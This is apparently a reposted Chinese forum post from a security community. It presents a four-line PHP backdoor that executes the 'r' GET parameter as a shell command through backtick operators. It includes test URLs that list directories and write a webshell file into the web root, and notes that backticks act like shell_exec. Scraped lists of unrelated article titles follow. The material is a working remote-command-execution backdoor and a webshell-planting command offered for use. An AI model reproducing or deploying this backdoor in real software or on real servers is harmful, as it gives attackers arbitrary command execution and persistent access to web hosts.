发现这个也是巧合,我就直接说了吧

  1. <?php

  2. //t.php

  3. $test = $_GET['r'];

  4. echo `$test`;

  5. ?>

大家看看这个代码有木有问题?

我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键 感叹号!旁边的,

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

大家觉得我没有忽悠 就赏点分哈

我用 apmserv 和虚拟主机已经测试成功。

转自:http://www.90sec.org/thread-1592-1-1.html

相关资料:

真相其实是这样的,其实 shell_exec 就是 `` 的变体,实际上完全等于 shell_exec,禁用这个函数就不行。

这个就是在 php 里面 ` 会被当做执行语句!

shell_exec() 命令行实际上仅是反撇号 ` 操作符的变体,如果您编写过 shell 或 Perl 脚本,您就知道可以在反撇号操作符内部捕捉其他命令的输出。官方有的。。

参考链接:

http://www.yunsec.net/a/security/web/jbst/2012/0229/10182.htm

http://ahack.iteye.com/blog/1884135

转载于:https://blog.51cto.com/norman20000/1224501

PHP 中 shell_exec() 中的反撇号操作符的变体 可用作后门相关推荐

  1. linux bash中的引号:单双引号、反撇号

    双引号和单引号的区别 反撇号不能用于命令嵌套

  2. shell双引号、单引号、反撇号的使用

    1.命令和文件自动补全 Tab键 2.常见快捷键 ^c 终止前台运行的程序^z 将前台运行的程序挂起到后台^d 退出 等价exit^l 清屏 ^a |home 光标移到命令行的最前端^e |end 光 ...

  3. ES6新增——反撇号(`)基础知识

    转载--https://www.infoq.cn/article/es6-in-depth-template-string ES6 引入了一种新型的字符串字面量语法,我们称之为模板字符串(templa ...

  4. PHP用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)执行外部命令...

    例如: echo `whoami`; // 导出数据库,要导入的文件夹必须要有可写权限, -u -p之后的内容必须要紧挨着写 echo `mysqldump -h localhost -u$DbUse ...

  5. 关于perl中的反勾号(``),system和exec

    关于perl中的反勾号(``),system和exec 在perl中反勾号(``),system和exec都用来执行命令,这篇文章将给我们介绍它们各自的使用方法,联系,以及区别. 一.使用方法 1.  ...

  6. perl中的反勾号(``),system和exec

    在perl中反勾号(``),system和exec都用来执行命令,这篇文章将给我们介绍它们各自的使用方法,联系,以及区别. 一.使用方法 1.       反勾号(``) 首先,我们有命令输入操作符, ...

  7. php 号和冒号,关于php:漂亮链接中的撇号和冒号

    我正在寻找解决列出书名的"漂亮链接"或"永久链接"的问题,例如: http://www.example.com/title/The-Catcher-in-the ...

  8. 导出excel此单元格中的数字为文本格式,或者其前面有撇号

    前言: 无论大家使用的是java,js,.net等技术导出excel,都会出现下面的问题. 这篇文章只提供解决思路,以及用easyexcel导出 的处理方式,其他技术大家可以举一反三. 1.导出exc ...

  9. 为什么wps数字前面有撇号_excel表格中数据前有撇号-Excel 如何去除数字前面的撇号...

    Excel此单元格中的数字为文本格式,或者前面有撇号... 很多人都回答用分列的方法,这种方法只适用于数字前面去掉撇号,原文本格式改成数字格式,如"0123"会变成"12 ...

最新文章

  1. 大一计算机期末考试高数试卷,高等数学大一期末试卷(A)及答案
  2. MindMotion ISP 协议 PDF版本
  3. Fiddler之为什么我没有抓到网络请求的js链接
  4. 5分钟即可使用25年的Linux
  5. 用汇编的眼光看C++(之 总结篇)
  6. MySQL 5.7原生JSON格式支持
  7. HDU2073 无限的路【数学】
  8. Lisp编制的坡度标注_形位公差自动标注的ATUOLISP程序设计(Ⅰ)
  9. word修改正文样式影响标题样式
  10. 手写一个springboot的starter
  11. 三只松鼠上半年营收41亿:净利降77% IDG一年套现超12亿
  12. 研究了一堆英语学习软件,发现了一个美国宝藏口语App,国内也能用!
  13. 一种更优雅的蓝牙配对技术 - Cross-transport key derivation (CTKD)
  14. CAD、3dmax等Autodesk系列软件安装报错1603解决办法
  15. 四川农业大学计算机科学技术专业,四川农业大学计算机系简介
  16. 2345浏览器怎么换主页 2345浏览器换主页教程
  17. 图书借阅java设计报告_JAVA课程设计报告图书借阅系统.pdf
  18. 主流币仍被摁在地上摩擦,平台币已扬起一场美丽的春梦
  19. android 百度全景,“android-panosdk | 百度地图API SDK
  20. 冬季给孩子熬粥有讲究

热门文章

  1. 在python中使用zookeeper管理你的应用集群
  2. TCP/IP 免费ARP
  3. 使用git时报错出现vim.exe.stackdump
  4. VS中PCL库附加依赖项配置
  5. c模拟内存分配算法(首次适应算法,最佳适应算法,最坏适应算法)
  6. Luogu P1122 最大子树和 树形DP
  7. void*和void类型
  8. 【CODEVS2577】医院设置
  9. JavaScript中关于setTimeout和setInterval的使用
  10. JavaEE班第四天